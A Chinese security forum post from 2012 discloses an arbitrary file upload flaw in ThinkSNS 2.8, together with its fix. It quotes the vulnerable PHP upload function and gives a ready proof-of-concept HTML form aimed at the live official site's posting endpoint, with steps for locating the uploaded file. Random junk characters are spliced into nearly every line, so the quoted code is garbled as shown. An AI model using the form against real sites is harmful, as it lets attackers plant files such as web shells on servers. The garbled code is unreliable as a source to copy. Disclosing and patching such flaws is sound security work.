找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2405|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
, [. h5 `5 d( L2 p2 }2 Z' w: L; R+ V( j/ j5 @
' ]- i! B$ [$ a
\api\StatusesApi.class.php! m7 [0 e% |0 C8 T; |, l/ [
1 c  ]& l6 m& r7 k; t
function uploadpic(){
) q8 Y5 u' V9 s+ M! k% `      if( $_FILES['pic'] ){" Y' R6 H4 v- ]/ r6 b
     //执行上传操作
* [! P7 w! R4 D4 Y0 x. p     $savePath =  $this->_getSaveTempPath();
4 _, @8 n- `. }3 p) c     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
" \7 G( X7 F4 o7 ?" \7 \0 X    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
+ P! R. N7 p2 g& H" ^       {
7 \( U8 S! _6 {* K2 v0 [7 O        $result['boolen']    = 1;
: Z) N: i% t7 R! X: p$ b# D, |  X        $result['type_data'] = 'temp/'.$filename;
& {2 {3 Q, e/ N" [5 O; G        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
9 a9 H' a% Z1 U3 s, E' ~- Z       } else {  q' T2 a- r, l: s- N$ G  ]
        $result['boolen']    = 0;) z/ B. a$ v- N! T6 c0 z- Z7 c4 U" ~
        $result['message']   = '上传失败';
/ K6 Q2 h2 Y) z1 v       }
. _( Q' z; f0 y; W% {     }else{, u4 z! L7 g, D/ b% N
         $result['boolen']    = 0;7 m$ H2 A9 x* z. l( Q0 c
         $result['message']   = '上传失败';
) v. B+ f$ k( ?9 P     }' l" `% l5 C1 b3 i0 l8 S* h( X
return $result;
9 T7 C# @% I, ^6 w2 J; ]    }
; m) n6 n/ K  tunloadpic()方法没有对文件类型进行验证
, h! C7 s' H# x# C+ |
7 {- l1 _3 F; X, i$ M可以构建表单, 选择任意文件, 提交到
$ R9 d. i# E% r5 |2 v4 A/index.php?app=w3g&mod=Index&act=doPost
0 J5 t4 N' R: n) g7 d, U! s
! V  Y0 u* a9 j* O# ]$ ~, k0 k在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 N0 D4 E8 t) E
  b, f. }5 o* m0 ]  v, S+ y% C8 I6 o" z
在登录thinksns官方微博后,4 A1 z" {6 i- L  d! x7 @4 ]5 o, P
构建以下表单:  [( m- o' p# ]& M  v

4 M, T% I3 @& \' f+ i' V: O" d% X5 e<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />4 a; e& j# I- m; Y
<textarea name="content">test</textarea>
( T: o0 V3 ~9 Pfile: <input id="file" type="file" name="pic" />
# J# }" n3 M( ^6 A<input type="submit" value="Post" />
% R' R2 d- g: q: l9 Z; D</form>
( N0 @' B; Z& F. Q! _( `去掉缩略图的前缀(small_ )- P$ W4 o: ]$ W( o6 ~, {
​修复方案:  v6 J" N% T; N; O6 C* g3 ~

7 L. g* [/ E$ I# `- G9 D8 ?+ x9 N5 a7 I  q6 _4 G5 T5 Z( i
\api\StatusesApi.class.php
, ~" q, E& Y0 N
( ~: u' Y" S$ p7 Y9 yfunction uploadpic(){! z! G# s! ]! L8 H0 d
     /**1 L3 R5 o6 g% w, n+ y3 b
      * 20121018 @yelo% Y; Z9 O, x: d& B; g
      * 增加上传类型验证+ s9 n' C* H2 h5 U
      */+ n4 w$ R" ^5 P/ ?7 I# b7 R# f' f/ c0 o
     $pathinfo = pathinfo($_FILES['pic']['name']);7 G: X  v! j, Q2 q  L
     $ext = $pathinfo['extension'];, X1 a: r3 i, @3 C- p: q% c
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
5 O% Y6 `2 S7 L2 o
5 r- F+ j% r+ ^! j; I9 H     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);4 h2 h2 m; I8 i, l+ v" \

8 U9 k# F. n+ f5 D& ]8 o$ W" P6 ?     if( $uploadCondition ){) P  ]6 k' h% M3 n. I. b3 W
     //执行上传操作
5 h, f+ A! R  {+ ~9 w     $savePath =  $this->_getSaveTempPath();
4 T0 P6 Y: `% ~) E; `. _/ I     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);2 x' o5 Z& m6 i& u' d; r1 X- W
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
6 C2 j) U9 N& B2 e       {
, e) v. F: q7 e6 y        $result['boolen']    = 1;
8 T; J2 t) j; U# I        $result['type_data'] = 'temp/'.$filename;7 _/ M% n& y. s$ p4 Y% K: r
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
" B% K% a6 c+ k: M       } else {
6 M6 D' l' G. U0 X2 D& Z        $result['boolen']    = 0;8 c. |2 D) g6 n3 v: M% F
        $result['message']   = '上传失败';: ], f9 B; w# _0 G! I8 W4 R" M% Q
       }2 ]5 P1 R/ ^% z$ x& U% i2 \
     }else{
! u1 O' v' g' C$ e+ e         $result['boolen']    = 0;
6 e2 B1 G2 f% O3 a         $result['message']   = '上传失败';
# C+ H; r* Q8 E( A" L# S# ^     }2 x/ X8 ~! A2 m- [0 Y; O3 C
return $result;
% L' s1 C- h% M3 ]2 e# O2 L3 y& q    }
* z+ T  N9 ]8 s9 h# u; O$ R​
5 a8 K. h0 `8 ~" R( y0 R9 ^7 r1 M5 ?) y% Q- d3 e  ?" T1 j6 b$ {& y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表